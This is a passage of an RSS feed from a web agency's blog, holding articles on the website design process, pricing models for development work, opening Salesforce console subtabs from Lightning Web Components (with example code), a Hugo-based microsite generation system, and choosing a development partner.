<p>Having the flexibility to quickly adjust the initial mock-ups is important, because in this phase I&rsquo;m in close contact with the client and I&rsquo;m getting feedback frequently. That's why using prototyping tools such as Adobe XD and Figma saves a lot of time for both me and the client. When the initial mock-ups/wireframes and the user journeys are clarified, I can move to the next step of my work.</p>
<h3>3. Creating the final designs and high-fidelity mock-ups</h3>
<p>This is the phase when the actual appearance of the website is being built. In some cases I might already have requirements from the client, about what colors to be used and overall branding styles, which I must follow, but it's still up to me to make a unique design, which will be competitive in the project's field. Actually, the word &ldquo;unique&rdquo; is a bit of a clich&eacute; which I personally don't like. The most important thing is to make the design effortless to use and not hinder it with elements and features, just because they look cool. The design must complement the functionality, to catch the user's attention by its elegance and simplicity. The good user experience is not only the visuals, but the way the graphic design guides you through the journey of using the site. This is what makes your website attractive and memorable. The well working UX is not just a good graphic design either. I have to make sure that even the copywriting is well thought, that every button, error message, heading, footer text is in place and presents the website's product in the best way possible. This is why it's so important for me to study the website's field in detail and be familiar with the terms and practices in it.</p>
<p>Don't forget &ndash; always think responsive! Back in the day the designers were making pixel-perfect layouts for desktop screens and kind of neglected the mobile devices. That's no longer the case. Today the mobile devices' usage is getting such a large share of the market, that during the entire design process I constantly ask myself &ldquo;How will this work on mobile?&rdquo;. I can not make bold and wildly extravagant designs which will be amazing for print materials or desktop only, but unusable on small screens or touch devices. This is why it&rsquo;s so important for me to know how everything will be sliced in the markup afterwards. Knowing what can be translated into HTML5/CSS3 is essential, because it&rsquo;s not right to promise something beautiful, but unusable to the client. After all a website is always dynamic, it must be flexible &ndash; its contents can't always be predicted, like in a print design for example. What happens if a title is extremely long or a button has two rows of text in it? A fragile design is not a good design. That's why I make sure that each design is thoroughly tested and thought-through.</p>
<p>Once I have the final design mock-ups approved, it is time for slicing them into markup. I like when a designer can fully slice their own mock-ups, because this gives them the realistic view of how everything will be translated into live interfaces. Even if I have to send the mock-up files to another front-end developer, they will understand my ideas quickly, instead of wasting time wondering &ldquo;How am I supposed to make this work?&rdquo;.</p>
<p>In many large-scale projects it's not possible to prepare mock-ups for every single UI element at once. The work process requires an initial style guide and overall header, footer, form styles, which will be closely followed when creating extra pages, modals, sections, etc., after the main design is applied into the actual working templates. This way we can get to the next steps as quickly as possible.</p>
<p>{{ newsletter }}</p>
<h3>4. Applying the design and taking first glance at the finished product</h3>
<p>It's time to turn the beautiful picture into a real, working layout. I&rsquo;m rolling up my sleeves and waking up the developer inside me. One of the things I like in being a designer at MTR Design is the chance I have to be a part of the entire design process from start to finish. This gives me the freedom to further develop my ideas even during the front-end build and make sure I have everything tested and working, just the way I've envisioned it.</p>
<p>Before starting to slice the designs I have to set up my local environment and run the project with the already built back-end. This requires setting up Docker, migrating the database and reviewing the template structure. Based on the used framework (Laravel, Django, Phoenix, etc.), I'm also getting familiar with the syntax of the different templating engines we use in our work. At this time I'm working closely with our back-end development team.</p>
<p>After the overall design is sliced and applied to the templates, the website truly comes to life. This is the most exciting moment for both me and the client - to do the &ldquo;first test-drive&rdquo; of their new website. Of course there are still more layouts to be completed before we're done.</p>
<h3>5. Completing all layouts and performing full website test</h3>
<p>During every step of the build the client follows the development closely. There might be new additions to the functionality, improvements to the UI, UX adjustments and in the end, we have a fully completed website, with even the smallest tooltip, button and modal designed and in their places. We always make sure to perform multiple tests of every feature we create, but we also make overall testing of the entire project before handing it over to the client for final review. This is one of my favourite moments of the entire process and I take it seriously. I'm literally trying to &ldquo;break&rdquo; everything &ndash; from the design, to the functionality, making sure there are no weak spots on any devices. When me and the dev team are done with the overall test, we are giving the project to the client for their seal of approval. We might fix a few more bugs and tweaks and then my work is almost done. Once the dev team carries out the project launch, it's also my duty to make an official final review of the live site.</p>
<p>I hope you liked my inside view of the designer's process of creating a website here, at MTR Design. As you can see, there's much more depth to making a perfect design than just drawing a pretty mock-up, and I'm happy to be a part of each step from the initial project review, through the actual front-end built, to the final testing.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Pricing models for Web Development businesses</title>
                <link>https://mtr-design.com/news/pricing-models-for-web-development-businesses</link>
                <guid>https://mtr-design.com/news/pricing-models-for-web-development-businesses</guid>
                <pubDate>Thu, 26 Nov 2020 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>In our <a href="/news/how-to-select-the-right-partner-for-your-web-development-project" target="_blank" rel="noopener noreferrer">previous article</a>, we briefly mentioned the two most common pricing models used by web development agencies - Fixed-price and Time &amp; Material. Our initial intention was to discuss in full detail the advantages and disadvantages of each of these models; however, the internet appears to be overflowing with information on this matter, so we&rsquo;re just going to share our own experience on pricing. More specifically, we&rsquo;ll tell you in which cases we used Fixed-price or Time &amp; Material and why we generally prefer one of the approaches. Also, we&rsquo;ll give some practical advice on what to watch and how to proceed with your web dev project.</p>]]></description>
                <content:encoded><![CDATA[<h3>What are Fixed-price and Time &amp; Material models and are they so completely different?</h3>
<p>As a web development company, the main factor that determines our services&rsquo; price is the working hours our team spends on a given project. When asked to provide our quote for a fixed-price project, our price is&nbsp; based on our estimation of the time we'll need to create the required functionality, but it'll be also affected by the type of the client we'll work with, the complexity of the project and potential risks, the required specific technical expertise&nbsp; and many other factors. While if we work on a Time &amp; Material basis, the client will pay for the actual hours spent on the project multiplied by the agreed price per person-day. So from our perspective, a contract based on the Time &amp; Material pricing is fairer for both sides.</p>
<h3>Someone might argue that contracting a web development company without clarity on a project&rsquo;s end price is unreasonable and ask for a fixed price offer with a deadline.</h3>
<p>This is ok for us, provided that the project also has a fixed scope. The latter means detailed project specifications, user stories, wireframes, sitemaps developed in advance, etc. The compiling of such project documentation is a time-consuming process. Meanwhile, the more complex the project, the greater the probability of omissions in the specifications. And if we agreed on a fixed-price project, we should deal with the consequences of any such omissions.</p>
<h3>As it turns out, in this case, we undertake all the risks related to or resulting from the project implementation. It seems unfair.</h3>
<p>So, what we do in such cases is drafting an estimate of the working hours needed for the project implementation, based on the documentation provided, and adding a certain percentage on the price to cover any risks of extra time required to develop specific project components. This percentage is usually in the range of 20 - 30%, or sometimes higher. In the end, the cost of the project may be higher than those under a contract based on the Time &amp; Material pricing model. And if we deem that the risk is too high, or we can&rsquo;t persuade you to pay for the extra hours needed for removing all the project&rsquo;s uncertainties as a discovery phase, we may decline the project altogether.</p>
<h3>What are the main advantages and disadvantages of the fixed-price model? In which cases do you recommend using it?</h3>
<p>In our view, the main advantage of this pricing model is that the client is well-aware of the project&rsquo;s end price and duration from the start. And bear in mind that this model is usually recommended for relatively small projects.</p>
<p>As for the disadvantages, we can point out the following: any changes on the go, initiated after the project has started, are far more complicated because each change request has to be agreed upon additionally and calculated in terms of working hours. In situations like this, there is a potential for conflict of interest. The client wants to get as much as possible for their money, whereas the contractor&rsquo;s priority is to complete the project within the initial time-frame. And we should note that the outcome of situations like this usually isn&rsquo;t positive for both parties. All the more so, considering that we mostly work on large scale projects that require up to a year or even more to be fully completed, it's almost impossible for the client to be 100% sure what exactly do they want and how to achieve it beforehand. There's always a chance of unexpected issues or requirements to come up during the development process.</p>
<p>So, yes, clarifying all the project details is not an easy task. Besides, having all specified in advance can be quite limiting and implies that the client has to take all the critical decisions on the project in the very beginning, which isn&rsquo;t always the best solution.</p>
<h3>Some of you are probably used to the Fixed price model and work in the following manner:</h3>
<ol>
<li>Create Project description, Scope of Work, Project requirements, and all the other documents needed to describe all aspects of the software you need;</li>
<li>Choose other criteria to assess the offers;</li>
<li>Send all the items mentioned above as an RFP to several companies that you have selected or have been recommended to you.</li>
</ol>
<p>Then you assess the offers based on the criteria set and choose the best for you. And you might be wondering how to proceed if you work with the Time &amp; Material model.<br />Well, it&rsquo;s not a good idea to immediately select the company with the lowest hourly rate. That said, your choice should never be based on the lowest price offered - regardless of whether we&rsquo;re talking about the company offering the lowest price or the lowest hourly rate.</p>
<p>As we already discussed in the previous article, one should consider many factors when choosing the right partner for a web dev project. And one of the most significant among them is that the two parties trust each other.</p>
<p><strong>As far as the price is concerned, we can recommend the following approach:</strong></p>
<ol>
<li>Research several companies and choose 2-3 of them that you believe could be suitable for your project;</li>
<li>Ask them for time estimates for the project, making clear that you are aware such an estimate isn&rsquo;t an actual offer. If the project is large, you can divide it into several smaller projects and ask for an estimate of one of those.</li>
<li>Compare the estimates, paying particular attention to the differences. For example, try to understand why company A plans a time frame for a specific project component that differs so much from those of company B.</li>
<li>Pay attention to the questions your potential partners ask - this could give you valuable information about themselves, their approach, and their knowledge of your business.</li>
<li>Once you have the time estimates and the daily rates offered, you can get an overall idea of your project&rsquo;s budget and select a partner accordingly.</li>
</ol>
<h3>What are the main advantages of the Time &amp; Material pricing model when compared to the Fixed price one?</h3>
<ul>
<li>Faster development time - because there is no need for a detailed specification of the project.</li>
<li>Flexibility - the client can decide on many things on the go, without the limitations of the project specifications, which both parties should closely observe. For example, we&rsquo;ve seen many clients initially consider certain functionality crucial for a project, and at a later stage, it turns out to be useless and can be omitted completely.</li>
<li>Fairer remuneration for the contractor - the Time &amp; Material model allows the developer to pay more attention to the quality of their work, which usually results in lower maintenance costs for the client.</li>
<li>The daily collaboration between the client and the contractor creates perfect conditions for developing the best possible product.</li>
</ul>
<h3>After all, are there any disadvantages to the Time &amp; Material pricing model?</h3>
<p>Well, we may consider as such the fact that this model requires a greater commitment on the part of the client - the latter has to participate actively in the development process by testing, proposing, and approving ideas for new features, monitoring the time spent on specific tasks, etc. This means that the client must have the skills to manage and control the development process.</p>
<p>{{ newsletter }}</p>
<h3>Conclusion</h3>
<p>Here are, in a nutshell, the main characteristics of the two models:</p>
<p><strong>Time &amp; Material model:</strong></p>
<ul>
<li>Suitable for complex, long-term projects whose requirements might change</li>
<li>Flexibility, dynamic work scope</li>
<li>Requires client involvement</li>
<li>Budgeting risk</li>
</ul>
<p><strong>Fixed-price model:</strong></p>
<ul>
<li>Suitable for small projects with limited requirements</li>
<li>Predictability</li>
<li>Financial risk for the developer</li>
<li>Less accountability, lack of flexibility</li>
</ul>
<p>To sum things up, the Fixed-price model is more imperative, while the Time &amp; Material approach focuses on collaboration between the two parties, so the results are usually better.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Salesforce mini how to: Open a SubTab in Console from Lightning Web Component</title>
                <link>https://mtr-design.com/news/salesforce-mini-how-to-open-a-subtab-in-console-from-lightning-web-component</link>
                <guid>https://mtr-design.com/news/salesforce-mini-how-to-open-a-subtab-in-console-from-lightning-web-component</guid>
                <pubDate>Mon, 23 Nov 2020 12:00:00 +0000</pubDate>
                <dc:creator>Desislav M</dc:creator>
                <description><![CDATA[<p>These days UI development in Salesforce prefers using Lightning Web Components (LWC) as they are faster and more modern than Lightning Components (aura). Unfortunately, they are still not a complete replacement for Lightning Components. According to this <a href="https://developer.salesforce.com/docs/component-library/documentation/en/lwc/get_started_supported_experiences" target="_blank" rel="noopener noreferrer">official page</a> for example, a Workspace API is not supported. This API is used for managing the tabs in Console. The Console itself is highly used by the sales teams or other teams that use SoftPhone inside Salesforce. So it seems that we have a problem, the solutions to which are not that complicated.</p>]]></description>
                <content:encoded><![CDATA[<h2>Solution #1</h2>
<p>The solution is to create a wrapper Lightning Component for your LWC and implement all the tabs functionality inside that component as it is proposed by Salesforce itself. By sending custom events from LWC to the wrapper Lightning Component you can use Workspace API indirectly.</p>
<p>This approach could be useful in case your LWC is invoked by Action Button for example. As you already know, the action button could not execute LWC directly, but can execute Lightning Component instead. This component is your wrapper and listener for the custom events.</p>
<p>You can read what the <a href="https://developer.salesforce.com/docs/component-library/documentation/en/lwc/lwc.events_sending_to_aura_components" target="_blank" rel="noopener noreferrer">official Salesforce documentation</a> says on sending and handling custom events.</p>
<h2>Solution #2</h2>
<p>On the opposite side of the first solution, in case your LWC is placed directly in the page via App Builder, then you have no Lightning Component wrapper. The solution then is to recreate what Salesforce does internally to work with the tabs inside Console.</p>
<p>To demonstrate these two approaches, we will create components which will allow us to open Account Record from Contact View in a subtab.</p>
<h2>Implementation</h2>
<h3>Solution #1</h3>
<p>For this solution we will first need a LWC and then Lightning Component which will perform the opening of a record in a new subtab.</p>
<p><strong>exampleLWC.html</strong></p>
<pre class="language-markup"><code>&lt;template&gt;
   &lt;p&gt;This is example LWC component for Solution #1&lt;/p&gt;
   &lt;p&gt;
       &lt;lightning-button disabled={openAccountButtonDisabled} title="Open Account" label="Open Account" onclick={onOpenAccountClick}&gt;&lt;/lightning-button&gt;
   &lt;/p&gt;
&lt;/template&gt;</code></pre>
<p><strong>exampleLWC.js</strong></p>
<pre class="language-javascript"><code>import { LightningElement, api, wire } from 'lwc';
import { getRecord } from 'lightning/uiRecordApi';

export default class ExampleLwc extends LightningElement {
 @api
 recordId;

 accountId;
 openAccountButtonDisabled = true;

 @wire(getRecord, { recordId: '$recordId', fields: ['Contact.AccountId']})
 getRecordAccount({ data }) {
   if (data) {
     this.accountId = data.fields.AccountId.value;
     this.openAccountButtonDisabled = false;
   }
 }

 onOpenAccountClick() {
   this.openSubTab(this.accountId);
 }

 openSubTab(recordId) {
   this.dispatchEvent(new CustomEvent('subtab', {
     detail: {
       recordId
     }
   }));
 }
}</code></pre>
<p><strong>LWCConsoleWrapper.cmp</strong></p>
<pre class="language-markup"><code>&lt;aura:component description="LWCConsoleWrapper" implements="force:hasRecordId, force:lightningQuickAction"&gt;
   &lt;aura:handler name="init" value="{! this }" action="{! c.onInit }"/&gt;

   &lt;lightning:workspaceAPI aura:id="workspaceAPI" /&gt;
   &lt;c:exampleLWC recordId="{! v.recordId }" onsubtab="{! c.handleOpenSubTab }" /&gt;
&lt;/aura:component&gt;</code></pre>
<p><strong>And its controller - LWCConsoleWrapperController.js</strong></p>
<pre class="language-javascript"><code>({
 onInit: function (component, event, helper) {

 },
 handleOpenSubTab: function (component, event, helper) {
   const workspaceAPI = component.find('workspaceAPI');
   const recordId = event.getParam('recordId');

   if (!recordId) {
     return;
   }

   workspaceAPI.isConsoleNavigation().then(isConsole =&gt; {
     if (isConsole) {
       workspaceAPI.getFocusedTabInfo()
         .then(
           result =&gt; {
             workspaceAPI.openSubtab({
               parentTabId: result.tabId,
               recordId,
               focus: true
             }).then(
               tabId =&gt; {
                 console.log("Solution #1 - SubTab ID: ", tabId);
               }
             );
           }
         );
     }
   });
 }
});</code></pre>
<p>As you can see it is pretty simple - LWC is executed via Lightning Component, which in our example was executed by an Action Button in Contact View page. Clicking the &ldquo;Open Account&rdquo; button will emit CustomEvent with Account RecordId as a payload - method &ldquo;openSubTab&rdquo;. Our Lightning Component has a registered event handler and executes a function - &ldquo;handleOpenSubTab&rdquo; when the event occurs.</p>
<p>Inside our Lightning Component we have full access to the WorkspaceAPI, so we can easily open a new subtab with the desired information. In our case it is the Contact&rsquo;s Account.</p>
<p><video width="800" height="570" style="max-width: 100%; height: auto; border: 2px solid #d5dde7;" loop="loop" controls="controls">
  <source src="/storage/var/images/news/salesforce-open-subtab/solution1.mp4" type="video/mp4" data-mce-src="/storage/var/images/news/salesforce-open-subtab/solution1.mp4" />
  Your browser does not support HTML video.</video></p>
<hr />
<p>{{ newsletter }}</p>
<h3>Solution #2</h3>
<p>In this solution we use WorkspaceAPI directly from our LWC. This is accomplished by a simple CustomEvent with specific payload, sent to the &ldquo;window&rdquo;. It is that simple.</p>
<p><strong>examplePureLWC.html</strong></p>
<pre class="language-markup"><code>&lt;template&gt;
   &lt;lightning-card&gt;
       &lt;div class="slds-p-around_medium"&gt;
           &lt;p&gt;This is example LWC component for Solution #2&lt;/p&gt;
           &lt;p&gt;
               &lt;lightning-button disabled={openAccountButtonDisabled} title="Open Account" label="Open Account" onclick={onOpenAccountClick}&gt;&lt;/lightning-button&gt;
           &lt;/p&gt;
       &lt;/div&gt;
   &lt;/lightning-card&gt;
&lt;/template&gt;</code></pre>
<p><strong>examplePureLWC.js</strong></p>
<pre class="language-javascript"><code>import { api, LightningElement, wire } from 'lwc';
import { getRecord } from 'lightning/uiRecordApi';

export default class ExamplePureLwc extends LightningElement {
 @api
 recordId;

 accountId;
 openAccountButtonDisabled = true;

 @wire(getRecord, { recordId: '$recordId', fields: ['Contact.AccountId']})
 getRecordAccount({ data }) {
   if (data) {
     this.accountId = data.fields.AccountId.value;
     this.openAccountButtonDisabled = false;
   }
 }

 onOpenAccountClick() {
   this.invokeWorkspaceAPI('isConsoleNavigation').then(isConsole =&gt; {
     if (isConsole) {
       this.invokeWorkspaceAPI('getFocusedTabInfo').then(focusedTab =&gt; {
         this.invokeWorkspaceAPI('openSubtab', {
           parentTabId: focusedTab.tabId,
           recordId: this.accountId,
           focus: true
         }).then(tabId =&gt; {
           console.log("Solution #2 - SubTab ID: ", tabId);
         });
       });
     }
   });
 }

 invokeWorkspaceAPI(methodName, methodArgs) {
   return new Promise((resolve, reject) =&gt; {
     const apiEvent = new CustomEvent("internalapievent", {
       bubbles: true,
       composed: true,
       cancelable: false,
       detail: {
         category: "workspaceAPI",
         methodName: methodName,
         methodArgs: methodArgs,
         callback: (err, response) =&gt; {
           if (err) {
               return reject(err);
           } else {
               return resolve(response);
           }
         }
       }
     });

     window.dispatchEvent(apiEvent);
   });
 }
}</code></pre>
<p>All you need to do is copy or recreate the &ldquo;invokeWorkspaceAPI&rdquo; method and start using it. For &rdquo;methodArgs&rdquo; you should refer to the <a href="https://developer.salesforce.com/docs/atlas.en-us.api_console.meta/api_console/sforce_api_console_methods_lightning_workspaceAPI.htm" target="_blank" rel="noopener noreferrer">WorkspaceAPI official documentation</a>. Keep in mind that the method returns JS Promise.</p>
<p><video width="800" height="570" style="max-width: 100%; height: auto; border: 2px solid #d5dde7;" loop="loop" controls="controls">
  <source src="/storage/var/images/news/salesforce-open-subtab/solution2.mp4" type="video/mp4" data-mce-src="/storage/var/images/news/salesforce-open-subtab/solution2.mp4" />
  Your browser does not support HTML video.</video><br /><br /><strong>Happy <span style="text-decoration: line-through;">Hack</span>Coding!</strong></p>]]></content:encoded>
            </item>
                    <item>
                <title>Building a microsite generation and management system</title>
                <link>https://mtr-design.com/news/building-a-microsite-generation-and-management-system</link>
                <guid>https://mtr-design.com/news/building-a-microsite-generation-and-management-system</guid>
                <pubDate>Tue, 03 Nov 2020 12:00:00 +0000</pubDate>
                <dc:creator>Atanas M</dc:creator>
                <description><![CDATA[<p>What would you do, if you had to develop a number of microsites for a client? We faced this issue as a part of a larger project for a real estate portal, which has multiple modules to it. In one of the modules there is an administrative panel through which real estate agents enter certain information about the properties they offer &ndash; text, location, video and images, as well as contact information.</p>]]></description>
                <content:encoded><![CDATA[<p>Using this data, we had to generate a number of personal websites for the real estate agents, where they can present the properties offered by them along with their contact information. And we were required to do that in a way, allowing the agents to use their own domains, and in case there aren&rsquo;t such, to provide them with free subdomain URLs. So, from this point on, we had to decide on the following matters:</p>
<ul>
<li>the general architecture of the app;</li>
<li>the design options;</li>
<li>how to manage the domains and the certificates of the websites;</li>
<li>how to connect all the above-mentioned parts of the project;</li>
<li>Amazon Lambda and how it was useful with all these tasks.</li>
</ul>
<p>Some of the solutions to these issues were obvious, others required great deal of research and testing, and in the end we reached the following decisions:</p>
<h2>1. Website generation</h2>
<p>We&rsquo;ll start off with the website generation, as almost all the other steps depend on it. We have two options with this &ndash; to use a programming language to create dynamic sites or to generate static web pages. Each of these approaches has its pros and cons, some of which we have summarized in the table below:</p>
<table>
<tbody>
<tr>
<th></th>
<th>Dynamic website</th>
<th>Static website</th>
</tr>
<tr>
<td>Immediate visualization of changes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>Server load</td>
<td>High</td>
<td>Low</td>
</tr>
<tr>
<td>Development resources</td>
<td>Low</td>
<td>Medium</td>
</tr>
<tr>
<td>Flexibility</td>
<td>High</td>
<td>High, but more difficult for implementation</td>
</tr>
<tr>
<td>Price of hosting service</td>
<td>High</td>
<td>Low</td>
</tr>
<tr>
<td>Need to regenerate the site on every change</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Server configuration difficulty</td>
<td>Medium</td>
<td>Low</td>
</tr>
<tr>
<td>Programming language version dependence</td>
<td>High</td>
<td>Low</td>
</tr>
<tr>
<td>Complexity for end users</td>
<td>Low</td>
<td>Low</td>
</tr>
</tbody>
</table>
<p>When you look at the table above, the two approaches seem nearly equally good. Yet, we decided to use static web pages, which fits our client's needs completely and is more cost-effective. We will discuss this in more detail in the hosting services part below. And here, we will only mention that the costs associated with servicing the static sites are significantly lower.</p>
<p>The next step was choosing the static website generator. Of course, we could have developed it ourselves, but this would unnecessarily increase the project&rsquo;s costs. So, we decided to find a ready-made solution.</p>
<p>We needed a generator that would meet two requirements: high generation speed with minimum resources, as well as ease of use and flexibility. And because of the first requirement, we set on two options&ndash; <a href="https://jekyllrb.com/" target="_blank" rel="noopener noreferrer">Jekyll</a> and <a href="https://gohugo.io/" target="_blank" rel="noopener noreferrer">Hugo</a>. That said, JavaScript-based generators are also great, but unfortunately they don&rsquo;t allow for high generation speed with minimum resource usage.</p>
<p>So, after carefully going through the documentation of these two options and testing them, we came to the conclusion that the two platforms are actually very similar in terms of functionality. Yet, we chose Hugo because it uses less resources and offers better speed. That said, Hugo has one more notable advantage &ndash; it&rsquo;s written in Go &ndash; a language we have good experience with and we enjoy using.</p>
<p>{{ newsletter }}</p>
<h2>2. System architecture</h2>
<p>After we got a clear idea on how to generate the websites, it was about time to ponder on the system architecture. Given that we weren&rsquo;t restricted to any specific database or programming language for site processing and servicing, the situation wasn&rsquo;t that complicated.</p>
<p>So, we had an Amazon EC2-based system consisting of a bunch of servers (test and product) hosting the main marketing website and the administration of the real estate agents, as well as separate instances (again test and product) servicing the databases.</p>
<p>And the most logical step from here on would be creating separate servers for the websites being generated, as we didn&rsquo;t know their number and workload in advance. Some of you might ask why we didn't place the generated sites directly in Amazon S3. This approach might indeed seem better, but it involves some complications that prevented us from undertaking it at that stage. Here, we will mention some of the problems we faced when using S3:</p>
<ul>
<li>If we use only S3 as a hosting service, we cannot use HTTPS/SSL;</li>
<li>In order to support HTTPS/SSL, we need to use the Amazon CloudFront service. The issue here is the generation of certificates, and more specifically the fact that part of the domains will be owned by clients of the platform. So, in order to make it as easy as possible for them, we only require users to point the IP address of the domain they are using to the generated site. However, in case we want to generate certificates for our clients, they will have to add further records to their DNS configurations, which might cause problems;</li>
<li>For each live website we have a corresponding test one, protected by a username and password known only to our client. This could also be achieved with CloudFront, but it requires additional DevOps work.</li>
</ul>
<p>That said, we should note that the S3 is an absolutely adequate solution here, which also has its advantages and can be used in the future if it's justified. In order for the S3 solution to be effective from a technical and financial point of view, the generated static websites should start generating extremely large traffic that exceeds the current machine's resources.</p>
<h2>3. Web designs</h2>
<p>As it already became clear, we decided to use Hugo, which allows us to apply many different themes when generating the websites. Besides, Hugo allows for CSS and JS compilation, which would greatly facilitate the work of our front-end team. The only requirement to our front-end experts was to make the design work with static data. We managed to add certain dynamic features, such as basic filters in the real estate listings, but there are limitations if working with larger data volumes.</p>
<p><img src="/storage/var/images/news/microsite-generation/microsite-preview.png" alt="" style="border: none;" width="900" height="499" /></p>
<h2>4. Domain management</h2>
<p>As we already noted, the users of the platform are in charge of the domain management, because they actually own the domains. We did our best to make it as easy as possible for them, and the only thing they have to do is point the domain to the IP address of the generated site.</p>
<p>The SSL certificate generation task on the other hand is a bit more complicated. If one wishes to generate an SSL certificate, the domain has to be redirected, and the DNS records which provide us with information about it should be updated. It&rsquo;s also possible that a domain which was pointed to the system at some point is now pointed away or expired, and we should be able to detect such cases and delete the SSL certificate for the domain in question. So, having all these conditions in mind, we&rsquo;ve created a system for the domains and their SSL certificates, which will be discussed in detail below.</p>
<h2>5. Connecting the system components</h2>
<p>After we have planned out all the components of our system, and how they should operate, the only thing that&rsquo;s left is to make them all work together. We've found an easy and effective way to do that by creating an app to manage the site generation, to watch out for (re)directing domains and the generation of their certificates. The individual components of this application are performed as cron tasks at different time intervals.</p>
<p>We know that a website has to be generated when a user makes changes that require site regeneration. Then, the real estate agents&rsquo; administration system makes the necessary entries in the database. The site generation application checks whether such data exists and, if available, generates the respective website. Domain tracking is a separate task, but it is not directly related to website generation. The only relevant thing is whether HTTP or HTTPS / SSL protocol will be used.</p>
<h2>6. Amazon Lambda</h2>
<p>We have managed to build a completely functional static site so far, but there is one more important thing left to be done &ndash; the contact form, which isn&rsquo;t exactly static. Our original idea was to provide a secure and flexible solution, which doesn&rsquo;t use a dynamic programming language, but rather a static form that has to send data for processing. We considered different possibilities and in the end decided to use Amazon Lambda so that we could ensure reliable operation and performance flexibility. So, our website would send data to the Lambda function, which would process it and save it to the database. Of course, to protect users from annoying spam, that would certainly be received, we added Google reCAPTCHA. This approach turned out to be functioning and we used it without any problems. It occurred to us, however, that if the site traffic and the use of the contact form increases significantly over time, the Lambda function usage will generate higher cost rates by Amazon. Having this in mind, although we haven&rsquo;t experienced any problems with its functionality, we decided to connect the static form directly to the backend of the platform where the necessary information is submitted. So, we stopped using Lambda, which will cut a lot of unnecessary costs in the long run.</p>
<p>This was an overview of the project's architecture, our choice of applications and how they are connected. We will now go a little deeper into the technical details of the project and the whole process, but before that we are going to give you a short introduction of the different modules of the whole system:</p>
<p></p>
<p><a href="/storage/var/images/news/microsite-generation/whole-system-abstract.png" target="_blank" rel="noopener noreferrer"><img src="/storage/var/images/news/microsite-generation/whole-system-abstract.png" alt="" style="border: none;" width="779" height="453" /></a></p>
<p></p>
<p>Let&rsquo;s start with the central system unit, namely the application created by us. It basically monitors requests for generating sites, generates such where necessary, and also oversees the domains - generates, renews and, where necessary, deletes their certificates.</p>
<p>Before we started with the application development, we&nbsp; had to decide what its architecture would be, which in turn was related to the programming language in which it would be written. As already mentioned, we are looking for a high-speed solution with minimal resources. In this case we also need to take into account another two factors &ndash; easy debugging and code extensions. Perhaps the most logical choice was to use Go, but we decided that the speed we would achieve would not compensate for the slower development process and the more difficult maintenance afterwards. That's why we chose another popular language that is widely used for process management tools - Python. As mentioned before, we have divided the application into several modules:</p>
<p><a href="/storage/var/images/news/microsite-generation/python-app.png" target="_blank" rel="noopener noreferrer"><img src="/storage/var/images/news/microsite-generation/python-app.png" alt="" style="border: none;" width="842" height="1003" /></a></p>
<p></p>
<p>In brief, the application checks for new site requests every minute. If there is one, the application creates a unique directory for the specific user, the data for the respective site gets extracted and processed, and finally a toml configuration file used by Hugo is generated, as well all necessary markdown files based on which Hugo will create all required pages. While making these configurations we are of course taking into account the user-defined site theme. After all files are ready, Hugo generates the new site and saves it in the server file system, then it passes the control to a module which performs a domain status check. Depending on the status (whether it is available or not), a new certificate and the corresponding nginx configuration are being generated.</p>
<p>We obtain the SSL certificates from the automated external certificate authority Let&rsquo;s Encrypt at no additional costs for the customers. To make things even more convenient, we also use the already configured Let's Encrypt module compatible with nginx, which shortens the development time.</p>
<p>Meanwhile, we check the already generated sites every five minutes for the domains that have not been pointed to the platform in the last check. If at this point the domain is properly pointed, then we generate the respective certificates and regenerate the site so that the links in it are correct. After that we adjust the new nginx configuration. Besides, all existing domains are being checked on a daily basis in order to make sure they are routed correctly. If for some reason they are not, we delete the old certificates to prevent any further issues and get new ones from Let&rsquo;s Encrypt.</p>
<p>Every single operation is of course recorded in the corresponding application log and in case an error occurs, our team receives a direct message.</p>
<p>We figured that the server we use for site creation has the capacity to serve the generated websites. Moreover, we have carefully configured the resource cashing. In order to keep a better architecture structure, large resources, such as images and videos are being stored on AWS S3. This way, we guarantee better server performance and the ability to process heavy loads.</p>
<p>This is the main application we use for site creation. As it already became clear, we rely on nginx as a web server. And we believe this is a very good solution, especially considering that the served files are static. These services are running on an Amazon EC2 instance, whose workload is being constantly monitored so that we can react immediately and change its parameters if needed. That said, the system is operating for several months now and no changes have been required so far. We use MySQL database, and the real estate agents&rsquo; main backend is written in PHP (using the Laravel framework).</p>
<p>In conclusion, we can say that the system we have built works flawlessly. Its structure is as simple as possible, which makes it easy to maintain and upgrade - assuming that the load on the generated sites increases significantly and the EC2 instance isn&rsquo;t appropriate anymore, the application settings can easily be changed so that the generated sites are being saved directly on Amazon S3. Such a development of events would certainly require additional work, but it is not related to the way our application works, but rather to the way Amazon CloudFront functions. From an architectural point of view, in this situation we will simply replace the module handling nginx configurations with a new module that will perform the necessary checks and configurations in CloudFront.</p>]]></content:encoded>
            </item>
                    <item>
                <title>How to select the right partner for your web development project</title>
                <link>https://mtr-design.com/news/how-to-select-the-right-partner-for-your-web-development-project</link>
                <guid>https://mtr-design.com/news/how-to-select-the-right-partner-for-your-web-development-project</guid>
                <pubDate>Mon, 19 Oct 2020 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>Choosing the right web development company for your digital project is a challenge each business owner faces. Nevertheless, such a choice is essentially no different from selecting a business partner for other non-digital projects. Generally speaking, when you are choosing with whom to cooperate, your decision largely depends on two factors: the skills and experience of the potential partner and how well you can work together, which we could also define as a &ldquo;cultural fit&rdquo;.</p>]]></description>
                <content:encoded><![CDATA[<h2>Company's background</h2>
<p>The first thing you should learn about your new partner is how long have they been operating and who is their owner. In any case, it&rsquo;s always best to cooperate with a well-established and successful company which has been on the market for at least 5 years. The longer the business history, the better, because this means that it&rsquo;s way more probable that they&rsquo;ve already done a project similar to yours, or that they have some sort of knowledge in your business field. This is of utter importance, because the web development company you&rsquo;re working with is also your business partner. You&rsquo;re not just hiring someone to write the code for your app (actually, if that&rsquo;s the case, you&rsquo;ll be better off with a freelancer), but also to give you advice on key solutions for your application.</p>
<h2>Company&rsquo;s clients, track record and industry experience</h2>
<p>In most cases the information about the main clients and projects could be found on the company&rsquo;s website. Yet, do have in mind that each and every company has worked on projects which they cannot mention in their portfolio for one reason or another, so it&rsquo;s always best to request additional information. And as regards the testimonials (feedback from previous and/or existing clients), you may look up the company profile in Clutch.co, where the user reviews are sent personally by their clients.</p>
